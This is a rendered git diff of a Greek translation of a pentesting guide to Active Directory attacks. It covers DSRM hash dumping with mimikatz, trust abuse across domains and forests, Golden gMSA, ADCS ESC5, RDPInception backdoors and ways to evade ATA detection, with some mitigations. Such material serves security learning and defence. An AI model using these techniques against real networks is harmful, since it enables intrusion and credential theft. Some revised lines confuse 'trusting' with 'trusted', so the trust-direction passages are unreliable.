[**Περισσότερες πληροφορίες σχετικά με την Ομάδα AdminDSHolder εδώ.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### Διαπιστεύσεις DSRM
|
||||
### Διαπιστευτήρια DSRM
|
||||
|
||||
Μέσα σε κάθε **Domain Controller (DC)**, υπάρχει ένας λογαριασμός **τοπικού διαχειριστή**. Αποκτώντας δικαιώματα διαχειριστή σε μια τέτοια μηχανή, το hash του τοπικού διαχειριστή μπορεί να εξαχθεί χρησιμοποιώντας **mimikatz**. Ακολουθώντας αυτό, είναι απαραίτητη μια τροποποίηση μητρώου για να **επιτραπεί η χρήση αυτού του κωδικού πρόσβασης**, επιτρέποντας την απομακρυσμένη πρόσβαση στον τοπικό λογαριασμό διαχειριστή.
|
||||
Μέσα σε κάθε **Domain Controller (DC)**, υπάρχει ένας λογαριασμός **τοπικού διαχειριστή**. Αποκτώντας δικαιώματα διαχειριστή σε μια τέτοια μηχανή, το hash του τοπικού Διαχειριστή μπορεί να εξαχθεί χρησιμοποιώντας **mimikatz**. Ακολουθώντας αυτό, είναι απαραίτητη μια τροποποίηση μητρώου για να **επιτραπεί η χρήση αυτού του κωδικού πρόσβασης**, επιτρέποντας την απομακρυσμένη πρόσβαση στον τοπικό λογαριασμό Διαχειριστή.
|
||||
|
||||
{{#ref}}
|
||||
dsrm-credentials.md
|
||||
@ -500,7 +500,7 @@ laps.md
|
||||
|
||||
## Κλιμάκωση Δικαιωμάτων Δάσους - Εμπιστευμένοι Τομείς
|
||||
|
||||
Η Microsoft θεωρεί το **Δάσος** ως το όριο ασφαλείας. Αυτό σημαίνει ότι **η κατάχρηση ενός μόνο τομέα θα μπορούσε ενδεχομένως να οδηγήσει σε ολόκληρο το Δάσος να είναι συμβιβασμένο**.
|
||||
Η Microsoft βλέπει το **Δάσος** ως το όριο ασφαλείας. Αυτό σημαίνει ότι **η κατάχρηση ενός μόνο τομέα θα μπορούσε ενδεχομένως να οδηγήσει σε ολόκληρο το Δάσος να είναι συμβιβασμένο**.
|
||||
|
||||
### Βασικές Πληροφορίες
|
||||
|
||||
@ -511,24 +511,24 @@ laps.md
|
||||
**Βήματα**:
|
||||
|
||||
1. Ένας **υπολογιστής-πελάτης** στον **Τομέα 1** ξεκινά τη διαδικασία χρησιμοποιώντας το **NTLM hash** του για να ζητήσει ένα **Ticket Granting Ticket (TGT)** από τον **Domain Controller (DC1)** του.
|
||||
2. Ο DC1 εκδίδει ένα νέο TGT εάν ο πελάτης αυθεντικοποιηθεί επιτυχώς.
|
||||
2. Ο DC1 εκδίδει ένα νέο TGT αν ο πελάτης αυθεντικοποιηθεί επιτυχώς.
|
||||
3. Ο πελάτης στη συνέχεια ζητά ένα **inter-realm TGT** από τον DC1, το οποίο είναι απαραίτητο για να αποκτήσει πρόσβαση σε πόρους στον **Τομέα 2**.
|
||||
4. Το inter-realm TGT είναι κρυπτογραφημένο με ένα **κλειδί εμπιστοσύνης** που μοιράζονται οι DC1 και DC2 ως μέρος της διπλής εμπιστοσύνης τομέα.
|
||||
5. Ο πελάτης παίρνει το inter-realm TGT στον **Domain Controller του Τομέα 2 (DC2)**.
|
||||
6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό κλειδί εμπιστοσύνης του και, εάν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον διακομιστή στον Τομέα 2 που θέλει να αποκτήσει πρόσβαση ο πελάτης.
|
||||
6. Ο DC2 επαληθεύει το inter-realm TGT χρησιμοποιώντας το κοινό κλειδί εμπιστοσύνης του και, αν είναι έγκυρο, εκδίδει ένα **Ticket Granting Service (TGS)** για τον διακομιστή στον Τομέα 2 που θέλει να έχει πρόσβαση ο πελάτης.
|
||||
7. Τέλος, ο πελάτης παρουσιάζει αυτό το TGS στον διακομιστή, το οποίο είναι κρυπτογραφημένο με το hash του λογαριασμού του διακομιστή, για να αποκτήσει πρόσβαση στην υπηρεσία στον Τομέα 2.
|
||||
|
||||
### Διάφορες εμπιστοσύνες
|
||||
|
||||
Είναι σημαντικό να παρατηρήσετε ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλο, αλλά στη **1 κατεύθυνσης** σχέση εμπιστοσύνης, ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευόμενος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε μόνο να έχετε πρόσβαση σε πόρους μέσα στον εμπιστευόμενο τομέα από τον εμπιστευμένο.**
|
||||
Είναι σημαντικό να σημειωθεί ότι **μια εμπιστοσύνη μπορεί να είναι 1 κατεύθυνσης ή 2 κατευθύνσεων**. Στην επιλογή 2 κατευθύνσεων, και οι δύο τομείς θα εμπιστεύονται ο ένας τον άλλον, αλλά στη **1 κατεύθυνσης** σχέση εμπιστοσύνης, ένας από τους τομείς θα είναι ο **εμπιστευμένος** και ο άλλος ο **εμπιστευμένος** τομέας. Στην τελευταία περίπτωση, **θα μπορείτε να έχετε πρόσβαση σε πόρους μόνο μέσα στον εμπιστευμένο τομέα από τον εμπιστευμένο**.
|
||||
|
||||
Εάν ο Τομέας A εμπιστεύεται τον Τομέα B, ο A είναι ο εμπιστευόμενος τομέας και ο B είναι ο εμπιστευμένος. Επιπλέον, στον **Τομέα A**, αυτό θα ήταν μια **Εξωτερική εμπιστοσύνη**; και στον **Τομέα B**, αυτό θα ήταν μια **Εσωτερική εμπιστοσύνη**.
|
||||
Εάν ο Τομέας A εμπιστεύεται τον Τομέα B, ο A είναι ο εμπιστευμένος τομέας και ο B είναι ο εμπιστευμένος. Επιπλέον, στον **Τομέα A**, αυτό θα ήταν μια **Εξωτερική εμπιστοσύνη**; και στον **Τομέα B**, αυτό θα ήταν μια **Εσωτερική εμπιστοσύνη**.
|
||||
|
||||
**Διαφορετικές σχέσεις εμπιστοσύνης**
|
||||
|
||||
- **Εμπιστοσύνες Γονέα-Παιδιού**: Αυτή είναι μια κοινή ρύθμιση εντός του ίδιου δάσους, όπου ένας παιδικός τομέας έχει αυτόματα μια διπλή μεταβατική εμπιστοσύνη με τον γονικό τομέα του. Ουσιαστικά, αυτό σημαίνει ότι οι αιτήσεις αυθεντικοποίησης μπορούν να ρέουν ομαλά μεταξύ του γονέα και του παιδιού.
|
||||
- **Εμπιστοσύνες Γονέα-Παιδιού**: Αυτή είναι μια κοινή ρύθμιση εντός του ίδιου δάσους, όπου μια παιδική τομέα έχει αυτόματα μια διπλή μεταβατική εμπιστοσύνη με τον γονικό τομέα της. Ουσιαστικά, αυτό σημαίνει ότι οι αιτήσεις αυθεντικοποίησης μπορούν να ρέουν ομαλά μεταξύ του γονέα και του παιδιού.
|
||||
- **Διασυνδεδεμένες Εμπιστοσύνες**: Αναφέρονται ως "συντομευμένες εμπιστοσύνες", αυτές καθιερώνονται μεταξύ παιδικών τομέων για να επιταχύνουν τις διαδικασίες παραπομπής. Σε πολύπλοκα δάση, οι παραπομπές αυθεντικοποίησης συνήθως πρέπει να ταξιδεύουν μέχρι τη ρίζα του δάσους και στη συνέχεια προς τα κάτω στον στόχο τομέα. Δημιουργώντας διασυνδέσεις, η διαδρομή συντομεύεται, κάτι που είναι ιδιαίτερα ευεργετικό σε γεωγραφικά διασκορπισμένα περιβάλλοντα.
|
||||
- **Εξωτερικές Εμπιστοσύνες**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω μιας εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες.
|
||||
- **Εξωτερικές Εμπιστοσύνες**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες.
|
||||
- **Εμπιστοσύνες Ρίζας Δέντρου**: Αυτές οι εμπιστοσύνες καθιερώνονται αυτόματα μεταξύ του ριζικού τομέα του δάσους και ενός νέου ριζικού δέντρου που προστίθεται. Αν και δεν συναντώνται συχνά, οι εμπιστοσύνες ρίζας δέντρου είναι σημαντικές για την προσθήκη νέων δέντρων τομέα σε ένα δάσος, επιτρέποντάς τους να διατηρούν ένα μοναδικό όνομα τομέα και διασφαλίζοντας τη διπλή μεταβατικότητα. Περισσότερες πληροφορίες μπορείτε να βρείτε στον [οδηγό της Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Εμπιστοσύνες Δάσους**: Αυτός ο τύπος εμπιστοσύνης είναι μια διπλή μεταβατική εμπιστοσύνη μεταξύ δύο ριζικών τομέων δάσους, επιβάλλοντας επίσης φιλτράρισμα SID για την ενίσχυση των μέτρων ασφαλείας.
|
||||
- **Εμπιστοσύνες MIT**: Αυτές οι εμπιστοσύνες καθιερώνονται με μη Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) τομείς Kerberos. Οι εμπιστοσύνες MIT είναι λίγο πιο εξειδικευμένες και απευθύνονται σε περιβάλλοντα που απαιτούν ενσωμάτωση με συστήματα Kerberos εκτός του οικοσυστήματος Windows.
|
||||
@ -536,12 +536,12 @@ laps.md
|
||||
#### Άλλες διαφορές στις **σχέσεις εμπιστοσύνης**
|
||||
|
||||
- Μια σχέση εμπιστοσύνης μπορεί επίσης να είναι **μεταβατική** (A εμπιστεύεται B, B εμπιστεύεται C, τότε A εμπιστεύεται C) ή **μη μεταβατική**.
|
||||
- Μια σχέση εμπιστοσύνης μπορεί να ρυθμιστεί ως **αμφίδρομη εμπιστοσύνη** (και οι δύο εμπιστεύονται ο ένας τον άλλο) ή ως **μονοκατεύθυνση εμπιστοσύνη** (μόνο ένας από αυτούς εμπιστεύεται τον άλλο).
|
||||
- Μια σχέση εμπιστοσύνης μπορεί να ρυθμιστεί ως **αμφίδρομη εμπιστοσύνη** (και οι δύο εμπιστεύονται ο ένας τον άλλον) ή ως **μονοκατεύθυνση εμπιστοσύνη** (μόνο ένας από αυτούς εμπιστεύεται τον άλλον).
|
||||
|
||||
### Διαδρομή Επίθεσης
|
||||
|
||||
1. **Καταγράψτε** τις σχέσεις εμπιστοσύνης
|
||||
2. Ελέγξτε αν οποιοδήποτε **ασφαλές κύριο** (χρήστης/ομάδα/υπολογιστής) έχει **πρόσβαση** σε πόρους του **άλλου τομέα**, ίσως μέσω καταχωρήσεων ACE ή μέσω συμμετοχής σε ομάδες του άλλου τομέα. Αναζητήστε **σχέσεις μεταξύ τομέων** (η εμπιστοσύνη δημιουργήθηκε πιθανώς για αυτό).
|
||||
2. Ελέγξτε αν οποιοδήποτε **ασφαλές κύριο** (χρήστης/ομάδα/υπολογιστής) έχει **πρόσβαση** σε πόρους του **άλλου τομέα**, ίσως μέσω εγγραφών ACE ή μέσω συμμετοχής σε ομάδες του άλλου τομέα. Αναζητήστε **σχέσεις μεταξύ τομέων** (η εμπιστοσύνη δημιουργήθηκε πιθανώς για αυτό).
|
||||
1. Το kerberoast σε αυτή την περίπτωση θα μπορούσε να είναι μια άλλη επιλογή.
|
||||
3. **Συμβιβάστε** τους **λογαριασμούς** που μπορούν να **μεταπηδήσουν** μέσω τομέων.
|
||||
|
||||
@ -592,19 +592,19 @@ sid-history-injection.md
|
||||
|
||||
**Compromise any gMSA in the forest**
|
||||
|
||||
Ένας επιθετικός παράγοντας περιλαμβάνει την στόχευση προνομιακών gMSAs εντός του domain. Το KDS Root key, που είναι απαραίτητο για τον υπολογισμό των κωδικών πρόσβασης των gMSAs, αποθηκεύεται στην Configuration NC. Με SYSTEM privileges σε οποιοδήποτε DC, είναι δυνατή η πρόσβαση στο KDS Root key και ο υπολογισμός των κωδικών πρόσβασης για οποιοδήποτε gMSA σε όλο το δάσος.
|
||||
Ένας επιθετικός παράγοντας περιλαμβάνει την στόχευση προνομιακών gMSAs εντός του domain. Το KDS Root key, που είναι απαραίτητο για τον υπολογισμό των κωδικών πρόσβασης των gMSAs, αποθηκεύεται στην Configuration NC. Με SYSTEM privileges σε οποιοδήποτε DC, είναι δυνατό να αποκτήσετε πρόσβαση στο KDS Root key και να υπολογίσετε τους κωδικούς πρόσβασης για οποιοδήποτε gMSA σε όλο το δάσος.
|
||||
|
||||
Λεπτομερής ανάλυση μπορεί να βρεθεί στη συζήτηση σχετικά με [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
Λεπτομερής ανάλυση μπορεί να βρεθεί στη συζήτηση για [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Schema change attack**
|
||||
|
||||
Αυτή η μέθοδος απαιτεί υπομονή, περιμένοντας τη δημιουργία νέων προνομιακών AD αντικειμένων. Με SYSTEM privileges, ένας επιτιθέμενος μπορεί να τροποποιήσει το AD Schema για να παραχωρήσει σε οποιονδήποτε χρήστη πλήρη έλεγχο σε όλες τις κλάσεις. Αυτό θα μπορούσε να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση και έλεγχο σε νεοδημιουργημένα AD αντικείμενα.
|
||||
|
||||
Περισσότερη ανάγνωση είναι διαθέσιμη σχετικά με [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
Περισσότερη ανάγνωση είναι διαθέσιμη για [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
**From DA to EA with ADCS ESC5**
|
||||
|
||||
Η ευπάθεια ADCS ESC5 στοχεύει τον έλεγχο των αντικειμένων Public Key Infrastructure (PKI) για τη δημιουργία ενός προτύπου πιστοποιητικού που επιτρέπει την αυθεντικοποίηση ως οποιοσδήποτε χρήστης εντός του δάσους. Καθώς τα αντικείμενα PKI βρίσκονται στην Configuration NC, η παραβίαση ενός writable child DC επιτρέπει την εκτέλεση επιθέσεων ESC5.
|
||||
Η ευπάθεια ADCS ESC5 στοχεύει τον έλεγχο των αντικειμένων Public Key Infrastructure (PKI) για τη δημιουργία ενός προτύπου πιστοποιητικού που επιτρέπει την αυθεντικοποίηση ως οποιοσδήποτε χρήστης εντός του δάσους. Καθώς τα αντικείμενα PKI βρίσκονται στην Configuration NC, η εκμετάλλευση ενός writable child DC επιτρέπει την εκτέλεση επιθέσεων ESC5.
|
||||
|
||||
Περισσότερες λεπτομέρειες σχετικά με αυτό μπορούν να διαβαστούν στο [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Σε σενάρια που λείπει το ADCS, ο επιτιθέμενος έχει τη δυνατότητα να ρυθμίσει τα απαραίτητα στοιχεία, όπως συζητείται στο [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
@ -619,13 +619,13 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
Σε αυτό το σενάριο **το τομέα σας είναι αξιόπιστος** από έναν εξωτερικό, δίνοντάς σας **ακαθόριστες άδειες** πάνω του. Θα χρειαστεί να βρείτε **ποιοι φορείς του τομέα σας έχουν ποια πρόσβαση στον εξωτερικό τομέα** και στη συνέχεια να προσπαθήσετε να το εκμεταλλευτείτε:
|
||||
Σε αυτό το σενάριο **το domain σας είναι αξιόπιστο** από ένα εξωτερικό, δίνοντάς σας **ακαθόριστες άδειες** πάνω σε αυτό. Θα χρειαστεί να βρείτε **ποιοι φορείς του domain σας έχουν ποια πρόσβαση στο εξωτερικό domain** και στη συνέχεια να προσπαθήσετε να το εκμεταλλευτείτε:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
{{#endref}}
|
||||
|
||||
### Εξωτερικός Δασικός Τομέας - Μονοκατεύθυνση (Εξαγωγή)
|
||||
### Εξωτερικό Δάσος Domain - Μονοκατεύθυνση (Εξαγωγή)
|
||||
```powershell
|
||||
Get-DomainTrust -Domain current.local
|
||||
|
||||
@ -645,26 +645,26 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
Ένας άλλος τρόπος για να παραβιάσετε το εμπιστευμένο domain είναι να βρείτε έναν [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) που έχει δημιουργηθεί στην **αντίθετη κατεύθυνση** της εμπιστοσύνης του domain (το οποίο δεν είναι πολύ συνηθισμένο).
|
||||
Ένας άλλος τρόπος για να συμβιβαστεί το εμπιστευμένο domain είναι να βρείτε έναν [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) που έχει δημιουργηθεί στην **αντίθετη κατεύθυνση** της εμπιστοσύνης του domain (το οποίο δεν είναι πολύ συνηθισμένο).
|
||||
|
||||
Ένας άλλος τρόπος για να παραβιάσετε το εμπιστευμένο domain είναι να περιμένετε σε μια μηχανή όπου ένας **χρήστης από το εμπιστευμένο domain μπορεί να έχει πρόσβαση** για να συνδεθεί μέσω **RDP**. Στη συνέχεια, ο επιτιθέμενος θα μπορούσε να εισάγει κώδικα στη διαδικασία συνεδρίας RDP και να **προσεγγίσει το αρχικό domain του θύματος** από εκεί.\
|
||||
Επιπλέον, αν ο **θύτης έχει προσαρτήσει τον σκληρό του δίσκο**, από τη διαδικασία της **συνεδρίας RDP** ο επιτιθέμενος θα μπορούσε να αποθηκεύσει **backdoors** στον **φάκελο εκκίνησης του σκληρού δίσκου**. Αυτή η τεχνική ονομάζεται **RDPInception.**
|
||||
Ένας άλλος τρόπος για να συμβιβαστεί το εμπιστευμένο domain είναι να περιμένετε σε μια μηχανή όπου ένας **χρήστης από το εμπιστευμένο domain μπορεί να έχει πρόσβαση** για να συνδεθεί μέσω **RDP**. Στη συνέχεια, ο επιτιθέμενος θα μπορούσε να εισάγει κώδικα στη διαδικασία συνεδρίας RDP και να **προσεγγίσει το αρχικό domain του θύματος** από εκεί.\
|
||||
Επιπλέον, αν το **θύμα έχει τοποθετήσει τον σκληρό του δίσκο**, από τη διαδικασία της **συνεδρίας RDP** ο επιτιθέμενος θα μπορούσε να αποθηκεύσει **backdoors** στον **φάκελο εκκίνησης του σκληρού δίσκου**. Αυτή η τεχνική ονομάζεται **RDPInception.**
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Μείωση κακοποίησης εμπιστοσύνης domain
|
||||
### Mitigation of Domain Trust Abuse
|
||||
|
||||
### **Φιλτράρισμα SID:**
|
||||
### **SID Filtering:**
|
||||
|
||||
- Ο κίνδυνος επιθέσεων που εκμεταλλεύονται το χαρακτηριστικό ιστορικό SID σε διασυνδέσεις δασών μειώνεται με το Φιλτράρισμα SID, το οποίο είναι ενεργοποιημένο από προεπιλογή σε όλες τις διασυνδέσεις μεταξύ δασών. Αυτό στηρίζεται στην υπόθεση ότι οι διασυνδέσεις εντός του δάσους είναι ασφαλείς, θεωρώντας το δάσος, αντί για το domain, ως το όριο ασφαλείας σύμφωνα με τη θέση της Microsoft.
|
||||
- Ωστόσο, υπάρχει μια παγίδα: το φιλτράρισμα SID μπορεί να διαταράξει τις εφαρμογές και την πρόσβαση των χρηστών, οδηγώντας σε περιστασιακή απενεργοποίησή του.
|
||||
- Ο κίνδυνος επιθέσεων που εκμεταλλεύονται το SID history attribute σε διασυνδέσεις δασών μειώνεται με το SID Filtering, το οποίο είναι ενεργοποιημένο από προεπιλογή σε όλες τις διασυνδέσεις μεταξύ δασών. Αυτό στηρίζεται στην υπόθεση ότι οι διασυνδέσεις εντός του δάσους είναι ασφαλείς, θεωρώντας το δάσος, αντί για το domain, ως το όριο ασφαλείας σύμφωνα με τη θέση της Microsoft.
|
||||
- Ωστόσο, υπάρχει μια παγίδα: η φιλτράρισμα SID μπορεί να διαταράξει εφαρμογές και την πρόσβαση χρηστών, οδηγώντας σε περιστασιακή απενεργοποίησή του.
|
||||
|
||||
### **Επιλεκτική Αυθεντικοποίηση:**
|
||||
### **Selective Authentication:**
|
||||
|
||||
- Για τις διασυνδέσεις μεταξύ δασών, η χρήση Επιλεκτικής Αυθεντικοποίησης διασφαλίζει ότι οι χρήστες από τα δύο δάση δεν αυθεντικοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες για τους χρήστες ώστε να έχουν πρόσβαση σε domains και servers εντός του εμπιστευόμενου domain ή δάσους.
|
||||
- Είναι σημαντικό να σημειωθεί ότι αυτά τα μέτρα δεν προστατεύουν από την εκμετάλλευση του εγγράψιμου Configuration Naming Context (NC) ή επιθέσεις στον λογαριασμό εμπιστοσύνης.
|
||||
- Για τις διασυνδέσεις μεταξύ δασών, η χρήση Selective Authentication διασφαλίζει ότι οι χρήστες από τα δύο δάση δεν αυθεντικοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες για τους χρήστες να έχουν πρόσβαση σε domains και servers εντός του εμπιστευόμενου domain ή δάσους.
|
||||
- Είναι σημαντικό να σημειωθεί ότι αυτά τα μέτρα δεν προστατεύουν από την εκμετάλλευση του writable Configuration Naming Context (NC) ή επιθέσεις στον λογαριασμό εμπιστοσύνης.
|
||||
|
||||
[**Περισσότερες πληροφορίες σχετικά με τις εμπιστοσύνες domain στο ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
@ -678,9 +678,9 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
[**Μάθετε περισσότερα σχετικά με το πώς να προστατεύσετε τα credentials εδώ.**](../stealing-credentials/credentials-protections.md)
|
||||
|
||||
### **Αμυντικά Μέτρα για την Προστασία Credentials**
|
||||
### **Αμυντικά Μέτρα για την Προστασία των Credentials**
|
||||
|
||||
- **Περιορισμοί Domain Admins**: Συνιστάται οι Domain Admins να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους υπολογιστές.
|
||||
- **Περιορισμοί Domain Admins**: Συνιστάται οι Domain Admins να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους hosts.
|
||||
- **Privileges Λογαριασμού Υπηρεσίας**: Οι υπηρεσίες δεν θα πρέπει να εκτελούνται με privileges Domain Admin (DA) για να διατηρείται η ασφάλεια.
|
||||
- **Περιορισμός Χρονικής Διάρκειας Privilege**: Για εργασίες που απαιτούν DA privileges, η διάρκεια τους θα πρέπει να περιορίζεται. Αυτό μπορεί να επιτευχθεί με: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
@ -699,7 +699,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
- **Παράκαμψη Ανίχνευσης Microsoft ATA**:
|
||||
- **Αναγνώριση Χρηστών**: Αποφυγή αναγνώρισης συνεδριών σε Domain Controllers για την αποφυγή ανίχνευσης από το ATA.
|
||||
- **Μίμηση Εισιτηρίων**: Η χρήση **aes** κλειδιών για τη δημιουργία εισιτηρίων βοηθά στην αποφυγή ανίχνευσης, αποφεύγοντας την υποβάθμιση σε NTLM.
|
||||
- **Εκμετάλλευση Εισιτηρίων**: Η χρήση **aes** κλειδιών για τη δημιουργία εισιτηρίων βοηθά στην αποφυγή ανίχνευσης, αποφεύγοντας την υποβάθμιση σε NTLM.
|
||||
- **Επιθέσεις DCSync**: Συνιστάται η εκτέλεση από μη Domain Controller για την αποφυγή ανίχνευσης από το ATA, καθώς η άμεση εκτέλεση από έναν Domain Controller θα ενεργοποιήσει ειδοποιήσεις.
|
||||
|
||||
## Αναφορές
|
||||
|
Loading…
x
Reference in New Issue
Block a user